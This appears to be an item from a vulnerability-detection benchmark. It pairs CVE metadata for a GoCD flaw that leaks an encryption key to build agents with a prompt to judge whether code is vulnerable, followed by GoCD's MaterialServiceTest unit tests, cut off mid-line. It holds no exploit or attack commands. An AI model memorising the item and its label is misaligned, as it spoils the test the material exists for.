{"buggy_code_end_loc": [138, 126, 343, 39, 395, 185, 209, 188, 69, 72, 97, 85, 72, 44, 35, 179, 204, 89], "buggy_code_start_loc": [137, 101, 71, 21, 332, 183, 35, 24, 28, 29, 61, 56, 28, 21, 20, 32, 52, 22], "filenames": ["api/api-server-maintenance-mode-v1/src/test/groovy/com/thoughtworks/go/apiv1/servermaintenancemode/representers/MaintenanceModeInfoRepresenterTest.groovy", "common/src/test/java/com/thoughtworks/go/config/materials/perforce/P4MaterialTest.java", "common/src/test/java/com/thoughtworks/go/config/materials/tfs/TfsMaterialTest.java", "common/src/test/java/com/thoughtworks/go/domain/materials/DummyMaterial.java", "common/src/test/java/com/thoughtworks/go/domain/materials/svn/SvnMaterialTest.java", "common/src/test/java/com/thoughtworks/go/server/service/MagicalMaterialAndMaterialConfigConversionTest.java", "domain/src/main/java/com/thoughtworks/go/config/materials/Materials.java", "domain/src/main/java/com/thoughtworks/go/config/materials/ScmMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/git/GitMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/mercurial/HgMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/perforce/P4Material.java", "domain/src/main/java/com/thoughtworks/go/config/materials/svn/SvnMaterial.java", "domain/src/main/java/com/thoughtworks/go/config/materials/tfs/TfsMaterial.java", "domain/src/main/java/com/thoughtworks/go/domain/materials/TestingMaterial.java", "domain/src/main/java/com/thoughtworks/go/domain/materials/tfs/TfsMaterialInstance.java", "domain/src/test/java/com/thoughtworks/go/helper/MaterialsMother.java", "server/src/test-fast/java/com/thoughtworks/go/server/service/MaterialServiceTest.java", "server/src/test-integration/java/com/thoughtworks/go/domain/materials/tfs/TfsMaterialPersistenceTest.java"], "fixing_code_end_loc": [138, 100, 291, 38, 343, 184, 208, 150, 68, 71, 89, 81, 71, 43, 34, 178, 203, 88], "fixing_code_start_loc": [137, 100, 71, 20, 331, 183, 34, 23, 27, 28, 61, 55, 27, 20, 19, 31, 51, 21], "message": "GoCD is a continuous delivery server. GoCD helps you automate and streamline the build-test-release cycle for continuous delivery of your product. GoCD versions prior to 21.1.0 leak the symmetric key used to encrypt/decrypt any secure variables/secrets in GoCD configuration to authenticated agents. A malicious/compromised agent may then expose that key from memory, and potentially allow an attacker the ability to decrypt secrets intended for other agents/environments if they also are able to obtain access to encrypted configuration values from the GoCD server. This issue is fixed in GoCD version 21.1.0. There are currently no known workarounds.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*", "matchCriteriaId": "AE600F59-5CB0-4E7F-B58F-16121BF8F61E", "versionEndExcluding": "21.1.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "GoCD is a continuous delivery server. GoCD helps you automate and streamline the build-test-release cycle for continuous delivery of your product. GoCD versions prior to 21.1.0 leak the symmetric key used to encrypt/decrypt any secure variables/secrets in GoCD configuration to authenticated agents. A malicious/compromised agent may then expose that key from memory, and potentially allow an attacker the ability to decrypt secrets intended for other agents/environments if they also are able to obtain access to encrypted configuration values from the GoCD server. This issue is fixed in GoCD version 21.1.0. There are currently no known workarounds."}, {"lang": "es", "value": "GoCD es un servidor de entrega continua. GoCD le ayuda a automatizar y agilizar el ciclo de construcci\u00f3n-prueba-lanzamiento para la entrega continua de su producto. Las versiones de GoCD anteriores a 21.1.0 filtran la clave sim\u00e9trica usada para cifrar/descifrar cualquier variable/secreto seguro en la configuraci\u00f3n de GoCD a los agentes autenticados. Un agente malicioso/comprometido puede entonces exponer esa clave desde la memoria, y potencialmente permitir a un atacante la capacidad de descifrar secretos destinados a otros agentes/entornos si tambi\u00e9n son capaces de obtener acceso a los valores de configuraci\u00f3n cifrados del servidor GoCD. Este problema ha sido corregido en GoCD versi\u00f3n 21.1.0. Actualmente no se presentan mitigaciones\n"}], "evaluatorComment": null, "id": "CVE-2022-39309", "lastModified": "2022-10-21T20:24:11.070", "metrics": {"cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.9, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 1.2, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2022-10-14T20:15:15.553", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/commit/691b479f1310034992da141760e9c5d1f5b60e8a"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/releases/tag/21.1.0"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Release Notes", "Third Party Advisory"], "url": "https://github.com/gocd/gocd/security/advisories/GHSA-f9qg-xcxq-cgv9"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Vendor Advisory"], "url": "https://www.gocd.org/releases/#21-1-0"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-668"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-499"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/gocd/gocd/commit/691b479f1310034992da141760e9c5d1f5b60e8a"}, "type": "CWE-668"}
124
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright 2020 ThoughtWorks, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.thoughtworks.go.server.service;", "import com.thoughtworks.go.config.CaseInsensitiveString;\nimport com.thoughtworks.go.config.exceptions.BadRequestException;\nimport com.thoughtworks.go.config.exceptions.EntityType;\nimport com.thoughtworks.go.config.materials.PackageMaterial;\nimport com.thoughtworks.go.config.materials.PluggableSCMMaterial;\nimport com.thoughtworks.go.config.materials.SubprocessExecutionContext;\nimport com.thoughtworks.go.config.materials.dependency.DependencyMaterial;\nimport com.thoughtworks.go.config.materials.git.GitMaterial;\nimport com.thoughtworks.go.config.materials.git.GitMaterialConfig;\nimport com.thoughtworks.go.config.materials.mercurial.HgMaterial;\nimport com.thoughtworks.go.config.materials.perforce.P4Material;\nimport com.thoughtworks.go.config.materials.svn.SvnMaterial;\nimport com.thoughtworks.go.config.materials.tfs.TfsMaterial;\nimport com.thoughtworks.go.domain.MaterialInstance;\nimport com.thoughtworks.go.domain.MaterialRevision;\nimport com.thoughtworks.go.domain.MaterialRevisions;\nimport com.thoughtworks.go.domain.PipelineRunIdInfo;\nimport com.thoughtworks.go.domain.config.Configuration;\nimport com.thoughtworks.go.domain.materials.*;\nimport com.thoughtworks.go.domain.materials.git.GitMaterialInstance;\nimport com.thoughtworks.go.domain.materials.packagematerial.PackageMaterialRevision;\nimport com.thoughtworks.go.domain.materials.scm.PluggableSCMMaterialRevision;\nimport com.thoughtworks.go.domain.packagerepository.PackageDefinition;\nimport com.thoughtworks.go.domain.packagerepository.PackageRepositoryMother;\nimport com.thoughtworks.go.helper.MaterialsMother;\nimport com.thoughtworks.go.helper.ModificationsMother;\nimport com.thoughtworks.go.plugin.access.packagematerial.PackageRepositoryExtension;\nimport com.thoughtworks.go.plugin.access.scm.SCMExtension;\nimport com.thoughtworks.go.plugin.access.scm.SCMPropertyConfiguration;\nimport com.thoughtworks.go.plugin.access.scm.material.MaterialPollResult;\nimport com.thoughtworks.go.plugin.access.scm.revision.SCMRevision;\nimport com.thoughtworks.go.plugin.api.material.packagerepository.PackageConfiguration;\nimport com.thoughtworks.go.plugin.api.material.packagerepository.PackageRevision;\nimport com.thoughtworks.go.plugin.api.material.packagerepository.RepositoryConfiguration;", "", "import com.thoughtworks.go.server.dao.FeedModifier;\nimport com.thoughtworks.go.server.domain.Username;\nimport com.thoughtworks.go.server.persistence.MaterialRepository;\nimport com.thoughtworks.go.server.service.materials.GitPoller;\nimport com.thoughtworks.go.server.service.materials.MaterialPoller;\nimport com.thoughtworks.go.server.service.materials.PluggableSCMMaterialPoller;\nimport com.thoughtworks.go.server.service.result.LocalizedOperationResult;\nimport com.thoughtworks.go.server.transaction.TransactionTemplate;\nimport com.thoughtworks.go.server.util.Pagination;\nimport com.thoughtworks.go.serverhealth.HealthStateScope;\nimport com.thoughtworks.go.serverhealth.HealthStateType;\nimport org.joda.time.DateTime;\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.experimental.theories.DataPoint;\nimport org.junit.experimental.theories.Theories;\nimport org.junit.experimental.theories.Theory;\nimport org.junit.runner.RunWith;\nimport org.mockito.Mock;", "import java.io.File;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;", "import static com.thoughtworks.go.domain.packagerepository.PackageDefinitionMother.create;\nimport static com.thoughtworks.go.helper.MaterialConfigsMother.git;\nimport static java.util.Arrays.asList;\nimport static java.util.Collections.emptyList;\nimport static org.assertj.core.api.Assertions.assertThatCode;\nimport static org.hamcrest.Matchers.*;\nimport static org.junit.Assert.*;\nimport static org.mockito.Mockito.any;\nimport static org.mockito.Mockito.*;\nimport static org.mockito.MockitoAnnotations.initMocks;", "@RunWith(Theories.class)\npublic class MaterialServiceTest {\n private static List MODIFICATIONS = new ArrayList<Modification>();", " @Mock\n private MaterialRepository materialRepository;\n @Mock\n private GoConfigService goConfigService;\n @Mock\n private SecurityService securityService;\n @Mock\n private PackageRepositoryExtension packageRepositoryExtension;\n @Mock\n private SCMExtension scmExtension;\n @Mock\n private TransactionTemplate transactionTemplate;\n @Mock\n private SecretParamResolver secretParamResolver;", " private MaterialService materialService;", " @Before\n public void setUp() {\n initMocks(this);\n materialService = new MaterialService(materialRepository, goConfigService, securityService,\n packageRepositoryExtension, scmExtension, transactionTemplate, secretParamResolver);\n }", " @Test\n public void shouldUnderstandIfMaterialHasModifications() {\n assertHasModification(new MaterialRevisions(new MaterialRevision(new HgMaterial(\"foo.com\", null), new Modification(new Date(), \"2\", \"MOCK_LABEL-12\", null))), true);\n assertHasModification(new MaterialRevisions(), false);\n }", " @Test\n public void shouldNotBeAuthorizedToViewAPipeline() {\n Username pavan = Username.valueOf(\"pavan\");\n when(securityService.hasViewPermissionForPipeline(pavan, \"pipeline\")).thenReturn(false);\n LocalizedOperationResult operationResult = mock(LocalizedOperationResult.class);\n materialService.searchRevisions(\"pipeline\", \"sha\", \"search-string\", pavan, operationResult);\n verify(operationResult).forbidden(EntityType.Pipeline.forbiddenToView(\"pipeline\", pavan.getUsername()), HealthStateType.general(HealthStateScope.forPipeline(\"pipeline\")));\n }", " @Test\n public void shouldReturnTheRevisionsThatMatchTheGivenSearchString() {\n Username pavan = Username.valueOf(\"pavan\");\n when(securityService.hasViewPermissionForPipeline(pavan, \"pipeline\")).thenReturn(true);\n LocalizedOperationResult operationResult = mock(LocalizedOperationResult.class);\n MaterialConfig materialConfig = mock(MaterialConfig.class);\n when(goConfigService.materialForPipelineWithFingerprint(\"pipeline\", \"sha\")).thenReturn(materialConfig);", " List<MatchedRevision> expected = asList(new MatchedRevision(\"23\", \"revision\", \"revision\", \"user\", new DateTime(2009, 10, 10, 12, 0, 0, 0).toDate(), \"comment\"));\n when(materialRepository.findRevisionsMatching(materialConfig, \"23\")).thenReturn(expected);\n assertThat(materialService.searchRevisions(\"pipeline\", \"sha\", \"23\", pavan, operationResult), is(expected));\n }", " @Test\n public void shouldReturnNotFoundIfTheMaterialDoesNotBelongToTheGivenPipeline() {\n Username pavan = Username.valueOf(\"pavan\");\n when(securityService.hasViewPermissionForPipeline(pavan, \"pipeline\")).thenReturn(true);\n LocalizedOperationResult operationResult = mock(LocalizedOperationResult.class);", " when(goConfigService.materialForPipelineWithFingerprint(\"pipeline\", \"sha\")).thenThrow(new RuntimeException(\"Not found\"));", " materialService.searchRevisions(\"pipeline\", \"sha\", \"23\", pavan, operationResult);\n verify(operationResult).notFound(\"Pipeline '\" + \"pipeline\" + \"' does not contain material with fingerprint '\" + \"sha\" + \"'.\", HealthStateType.general(HealthStateScope.forPipeline(\"pipeline\")));\n }", " @DataPoint\n public static RequestDataPoints GIT_LATEST_MODIFICATIONS = new RequestDataPoints(new GitMaterial(\"url\") {\n @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public GitMaterial withShallowClone(boolean value) {\n return this;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }\n }, GitMaterial.class);", " @DataPoint\n public static RequestDataPoints SVN_LATEST_MODIFICATIONS = new RequestDataPoints(new SvnMaterial(\"url\", \"username\", \"password\", true) {\n @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }\n }, SvnMaterial.class);", " @DataPoint\n public static RequestDataPoints HG_LATEST_MODIFICATIONS = new RequestDataPoints(new HgMaterial(\"url\", null) {\n @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }\n }, HgMaterial.class);", " @DataPoint", " public static RequestDataPoints TFS_LATEST_MODIFICATIONS = new RequestDataPoints(new TfsMaterial() {", " @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " }, TfsMaterial.class);", " @DataPoint\n public static RequestDataPoints P4_LATEST_MODIFICATIONS = new RequestDataPoints(new P4Material(\"url\", \"view\", \"user\") {\n @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }\n }, P4Material.class);", " @DataPoint\n public static RequestDataPoints DEPENDENCY_LATEST_MODIFICATIONS = new RequestDataPoints(new DependencyMaterial(new CaseInsensitiveString(\"p1\"), new CaseInsensitiveString(\"s1\")) {\n @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }\n }, DependencyMaterial.class);", "\n @Theory\n public void shouldGetLatestModificationsForGivenMaterial(RequestDataPoints data) {\n MaterialService spy = spy(materialService);\n SubprocessExecutionContext execCtx = mock(SubprocessExecutionContext.class);\n doReturn(data.klass).when(spy).getMaterialClass(data.material);\n List<Modification> actual = spy.latestModification(data.material, null, execCtx);\n assertThat(actual, is(MODIFICATIONS));\n }", " @Theory\n public void shouldGetModificationsSinceARevisionForGivenMaterial(RequestDataPoints data) {\n Revision revision = mock(Revision.class);\n SubprocessExecutionContext execCtx = mock(SubprocessExecutionContext.class);\n MaterialService spy = spy(materialService);\n doReturn(data.klass).when(spy).getMaterialClass(data.material);\n List<Modification> actual = spy.modificationsSince(data.material, null, revision, execCtx);\n assertThat(actual, is(MODIFICATIONS));\n }", " @Theory\n public void shouldCheckoutAGivenRevision(RequestDataPoints data) {\n Revision revision = mock(Revision.class);\n MaterialPoller materialPoller = mock(MaterialPoller.class);\n MaterialService spy = spy(materialService);\n File baseDir = mock(File.class);\n SubprocessExecutionContext execCtx = mock(SubprocessExecutionContext.class);", " doReturn(data.klass).when(spy).getMaterialClass(data.material);\n doReturn(materialPoller).when(spy).getPollerImplementation(data.material);", " spy.checkout(data.material, baseDir, revision, execCtx);", " verify(materialPoller).checkout(data.material, baseDir, revision, execCtx);\n }", " @Test\n public void shouldThrowExceptionWhenPollerForMaterialNotFound() {\n try {\n materialService.latestModification(mock(Material.class), null, null);\n fail(\"Should have thrown up\");\n } catch (RuntimeException e) {\n assertThat(e.getMessage(), is(\"unknown material type null\"));\n }\n }", " @Test\n public void latestModification_shouldResolveSecretsForMaterialConfiguredWithSecretParams() {\n GitMaterial gitMaterial = spy(new GitMaterial(\"https://example.com\"));\n MaterialService spy = spy(materialService);\n GitPoller gitPoller = mock(GitPoller.class);", " doReturn(GitMaterial.class).when(spy).getMaterialClass(gitMaterial);\n doReturn(true).when(gitMaterial).hasSecretParams();\n doReturn(gitPoller).when(spy).getPollerImplementation(gitMaterial);\n when(gitPoller.latestModification(any(), any(), any())).thenReturn(new ArrayList<>());", " spy.latestModification(gitMaterial, null, null);", " verify(secretParamResolver).resolve(gitMaterial);\n }", " @Test\n public void modificationsSince_shouldResolveSecretsForMaterialConfiguredWithSecretParams() {\n GitMaterial gitMaterial = spy(new GitMaterial(\"https://example.com\"));\n MaterialService spy = spy(materialService);\n GitPoller gitPoller = mock(GitPoller.class);\n Class<GitMaterial> toBeReturned = GitMaterial.class;", " doReturn(toBeReturned).when(spy).getMaterialClass(gitMaterial);\n doReturn(true).when(gitMaterial).hasSecretParams();\n doReturn(gitPoller).when(spy).getPollerImplementation(gitMaterial);\n when(gitPoller.modificationsSince(any(), any(), any(), any())).thenReturn(new ArrayList<>());", " spy.modificationsSince(gitMaterial, null, null, null);", " verify(secretParamResolver).resolve(gitMaterial);\n }", " @Test\n public void shouldGetLatestModificationForPackageMaterial() {\n PackageMaterial material = new PackageMaterial();\n PackageDefinition packageDefinition = create(\"id\", \"package\", new Configuration(), PackageRepositoryMother.create(\"id\", \"name\", \"plugin-id\", \"plugin-version\", new Configuration()));\n material.setPackageDefinition(packageDefinition);", "\n when(packageRepositoryExtension.getLatestRevision(eq(\"plugin-id\"),\n any(PackageConfiguration.class),\n any(RepositoryConfiguration.class))).thenReturn(new PackageRevision(\"blah-123\", new Date(), \"user\"));", "\n List<Modification> modifications = materialService.latestModification(material, null, null);\n assertThat(modifications.get(0).getRevision(), is(\"blah-123\"));\n }", " @Test\n public void shouldGetModificationSinceAGivenRevision() {\n PackageMaterial material = new PackageMaterial();\n PackageDefinition packageDefinition = create(\"id\", \"package\", new Configuration(), PackageRepositoryMother.create(\"id\", \"name\", \"plugin-id\", \"plugin-version\", new Configuration()));\n material.setPackageDefinition(packageDefinition);", " when(packageRepositoryExtension.latestModificationSince(eq(\"plugin-id\"),\n any(PackageConfiguration.class),\n any(RepositoryConfiguration.class),\n any(PackageRevision.class))).thenReturn(new PackageRevision(\"new-revision-456\", new Date(), \"user\"));\n List<Modification> modifications = materialService.modificationsSince(material, null, new PackageMaterialRevision(\"revision-124\", new Date()), null);\n assertThat(modifications.get(0).getRevision(), is(\"new-revision-456\"));\n }", " @Test\n public void shouldGetLatestModification_PluggableSCMMaterial() {\n PluggableSCMMaterial pluggableSCMMaterial = MaterialsMother.pluggableSCMMaterial();\n MaterialInstance materialInstance = pluggableSCMMaterial.createMaterialInstance();\n when(materialRepository.findMaterialInstance(any(Material.class))).thenReturn(materialInstance);\n MaterialPollResult materialPollResult = new MaterialPollResult(null, new SCMRevision(\"blah-123\", new Date(), \"user\", \"comment\", null, null));\n when(scmExtension.getLatestRevision(any(String.class), any(SCMPropertyConfiguration.class), any(Map.class), any(String.class))).thenReturn(materialPollResult);", " List<Modification> modifications = materialService.latestModification(pluggableSCMMaterial, new File(\"/tmp/flyweight\"), null);", " assertThat(modifications.get(0).getRevision(), is(\"blah-123\"));\n }", " @Test\n public void shouldGetModificationSince_PluggableSCMMaterial() {\n PluggableSCMMaterial pluggableSCMMaterial = MaterialsMother.pluggableSCMMaterial();\n MaterialInstance materialInstance = pluggableSCMMaterial.createMaterialInstance();\n when(materialRepository.findMaterialInstance(any(Material.class))).thenReturn(materialInstance);\n MaterialPollResult materialPollResult = new MaterialPollResult(null, asList(new SCMRevision(\"new-revision-456\", new Date(), \"user\", \"comment\", null, null)));\n when(scmExtension.latestModificationSince(any(String.class), any(SCMPropertyConfiguration.class), any(Map.class), any(String.class),\n any(SCMRevision.class))).thenReturn(materialPollResult);", " PluggableSCMMaterialRevision previouslyKnownRevision = new PluggableSCMMaterialRevision(\"revision-124\", new Date());\n List<Modification> modifications = materialService.modificationsSince(pluggableSCMMaterial, new File(\"/tmp/flyweight\"), previouslyKnownRevision, null);", " assertThat(modifications.get(0).getRevision(), is(\"new-revision-456\"));\n }", " @Test\n public void shouldDelegateToMaterialRepository_getTotalModificationsFor() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);", " when(materialRepository.getTotalModificationsFor(gitMaterialInstance)).thenReturn(1L);", " Long totalCount = materialService.getTotalModificationsFor(materialConfig);", " assertThat(totalCount, is(1L));\n }", " @Test\n public void shouldDelegateToMaterialRepository_getModificationsFor() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Pagination pagination = Pagination.pageStartingAt(0, 10, 10);\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment\", \"email\", new Date(), \"revision\"));", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);", " when(materialRepository.getModificationsFor(gitMaterialInstance, pagination)).thenReturn(modifications);", " Modifications gotModifications = materialService.getModificationsFor(materialConfig, pagination);", " assertThat(gotModifications, is(modifications));\n }", " @Test\n public void shouldGetLatestModificationWithMaterial() {\n MaterialInstance instance = MaterialsMother.gitMaterial(\"http://example.com/gocd.git\").createMaterialInstance();\n Modification modification = ModificationsMother.withModifiedFileWhoseNameLengthIsOneK();\n modification.setMaterialInstance(instance);\n ArrayList<Modification> mods = new ArrayList<>();\n mods.add(modification);", " when(materialRepository.getLatestModificationForEachMaterial()).thenReturn(mods);", " Map<String, Modification> modificationsMap = materialService.getLatestModificationForEachMaterial();", " assertEquals(modificationsMap.size(), 1);\n assertThat(modificationsMap.keySet(), containsInAnyOrder(instance.getFingerprint()));\n assertEquals(modificationsMap.get(instance.getFingerprint()), modification);\n }", " @Test\n public void shouldReturnEmptyMapIfNoMaterialAndModificationFound() {\n when(materialRepository.getLatestModificationForEachMaterial()).thenReturn(emptyList());", " Map<String, Modification> modificationsMap = materialService.getLatestModificationForEachMaterial();", " assertEquals(modificationsMap.size(), 0);\n }", " @Test\n public void history_shouldCallDaoToFetchLatestModificationData() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 2\", \"email\", new DateTime().minusHours(2).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 3\", \"email\", new DateTime().minusHours(3).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);\n when(materialRepository.loadHistory(anyLong(), any(), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> gotModifications = materialService.getModificationsFor(materialConfig, \"\", 0, 0, 3);", " verify(materialRepository).loadHistory(anyLong(), eq(FeedModifier.Latest), eq(0L), eq(3));\n assertThat(gotModifications, is(modifications));\n }", " @Test\n public void history_shouldCallDaoToFetchModificationDataAfterTheGivenCursor() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);\n when(materialRepository.loadHistory(anyLong(), any(), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> gotModifications = materialService.getModificationsFor(materialConfig, \"\", 2, 0, 3);", " verify(materialRepository).loadHistory(anyLong(), eq(FeedModifier.After), eq(2L), eq(3));\n }", " @Test\n public void history_shouldCallDaoToFetchModificationDataBeforeTheGivenCursor() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);\n when(materialRepository.loadHistory(anyLong(), any(), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> gotModifications = materialService.getModificationsFor(materialConfig, \"\", 0, 2, 3);", " verify(materialRepository).loadHistory(anyLong(), eq(FeedModifier.Before), eq(2L), eq(3));\n }", " @Test\n public void history_shouldThrowIfTheAfterCursorIsInvalid() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);", " assertThatCode(() -> materialService.getModificationsFor(materialConfig, \"\", -10, 0, 3))\n .isInstanceOf(BadRequestException.class)\n .hasMessage(\"The query parameter 'after', if specified, must be a positive integer.\");", " verify(materialRepository).findMaterialInstance(materialConfig);\n verifyNoMoreInteractions(materialRepository);\n }", " @Test\n public void history_shouldThrowIfTheBeforeCursorIsInvalid() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);", " assertThatCode(() -> materialService.getModificationsFor(materialConfig, \"\", 0, -10, 3))\n .isInstanceOf(BadRequestException.class)\n .hasMessage(\"The query parameter 'before', if specified, must be a positive integer.\");", " verify(materialRepository).findMaterialInstance(materialConfig);\n verifyNoMoreInteractions(materialRepository);\n }", " @Test\n public void shouldCallDaoToFetchLatestAndOlderModification() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n PipelineRunIdInfo value = new PipelineRunIdInfo(1, 2);", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);\n when(materialRepository.getOldestAndLatestModificationId(anyLong(), anyString())).thenReturn(value);", " PipelineRunIdInfo info = materialService.getLatestAndOldestModification(materialConfig, \"\");", " verify(materialRepository).getOldestAndLatestModificationId(anyLong(), eq(\"\"));\n assertThat(info, is(value));\n }", " @Test\n public void shouldReturnNullIfNoInstanceIsPresent() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(null);", " PipelineRunIdInfo info = materialService.getLatestAndOldestModification(materialConfig, \"\");", " verify(materialRepository, never()).getOldestAndLatestModificationId(anyLong(), anyString());\n assertThat(info, is(nullValue()));\n }", " @Test\n public void findMatchingMods_shouldCallDaoToFetchLatestMatchingMods() {\n GitMaterialConfig config = git(\"http://test.com\");\n GitMaterialInstance instance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 2\", \"email\", new DateTime().minusHours(2).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 3\", \"email\", new DateTime().minusHours(3).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(config)).thenReturn(instance);\n when(materialRepository.findMatchingModifications(anyLong(), anyString(), any(FeedModifier.class), anyLong(), 